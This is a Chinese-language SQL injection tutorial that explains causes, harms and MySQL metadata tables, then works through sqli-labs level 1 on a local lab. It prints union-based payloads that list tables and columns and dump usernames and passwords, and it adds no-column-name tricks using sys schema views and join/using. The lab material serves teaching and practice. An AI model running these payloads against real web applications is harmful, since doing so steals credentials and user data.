什么是SQL注入
原理:
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
解释:当我们用户在前端浏览器页面做一些事情的时候,当需要与数据库进行交互时,比如最简单的登陆账号,web应用程序接收到我们账号密码后,需要后台有这样一个数据库的命令,去查询数据库中是否有这样的一个账号密码与之对应,然后做出判断:是否存在用户名,若存在,用户名与密码是否相匹配。然而,当数据库的这个命令直接被用户去操控,用户直接对数据库进行任意操作。这样所带来的隐患是极其严重的。我们称之为存在SQL注入漏洞。
起因:
为什么会有SQL注入?
- 代码对带入SQL语句的参数过滤不严格
- 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
- 未使用框架安全的查询方法
- 测试接口未删除
- 未启用防火墙
- 未使用其他的安全防护设备
- .......
危害 :
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马。传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作。数据库服务器被攻击。数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控“制操作系统。
- 破坏读盘数据,瘫痪全系统。 一些类型的数据库系统能够让Sql指令操作文件系统,这使得Sql注入的危害被进一步放大。
场景:
哪些地方可能会存在SQL注入?
- 所有与数据库进行交互的地方:
- 登陆框
- 搜索框
- 详情页
- 提交按钮
前置知识
以下所有内容除特殊强调外数据库均为Mysql
先来了解一下Mysql的一些基础结构把
- 数据库:information_schema(存放数据库元信息)
其中三张常用的表
- schemata (存放数据库名)
- tables (存放表名)
- columns(存放字段名)
schemata表:
schema_name字段用来存储数据库名
tables表:
- table_schema(数据库名)
- table_name(表名)
columns表:
- table_schema(数据库名)
- table_name(表名)
- column_name(字段名)
SQL注入分类:
SQL注入的类型很多,但不是严格的进行区分的。如报错注入可发生在GET型注入中,也可发生在POST型注入中,以下列举几种常见的分类:
按照请求方法分类
- GET型注入
- POST型注入
按照SQL数据类型分类
- 整型注入
- 字符型注入
其他类型
- 报错注入
- 布尔盲注
- 时间盲注
- Cookie注入
- User-Agent注入
判断是否存在SQL注入
当我们在进行SQL注入时,首先要判断他的注入点。其目的便是尽可能地使数据库去执行我们的输入:
单引号’、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看页面回显是否一样来判断所输入的数据是否被当作数据库命令执行。(部分注入存在回显不明显,可通过审查元素或者使用BurpSuite进行查看)
下面我们用sqli-labs 为实验环境进行展开分析
1.sqli-labs第一关
1.1判断是否存在sql注入
1.提示你输入数字值的ID作为参数,我们输入?id=1
2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
当我加了'之后显示语法错误
但是我注释掉'之后有数据显示
4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
之后通过order by 后加数字来判断有多少个字段若 order by 2返回正常 则说明字段数大于等于2。由该处 order by 3正常 order by 4返回错误可判断字段数为3
知道字段后我们就可以联合查询
127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3--+
-
使用函数version(),database()替换占位数字回显出数据库版本信息和名称
知道库名(security)之后数据库的所有表名
id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
查列名
?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
我们查到了库里有id,username,password,就能查到里边具体的数据
/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
ok,我们查到了数据,就可以.......🤣
衍生一下,如果我们的information schema被过滤,怎末版。
1.2学习一下无列名注入
有没有代替information schema的呢?
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。
利用join-using注列名
通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身
爆表名
?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_auto_increment_columns%20where%20table_schema=database()--+
/?id=-1%27union%20select%201,2,group_concat(table_name)from%20sys.schema_table_statistics_with_buffer%20where%20table_schema=database()--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b)%20as%20c--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id))c--+
/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username))%20as%20c--+
?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20b%20using(id,username,password))%20as%20c--+
这就把列名一步一步全部弄出来了。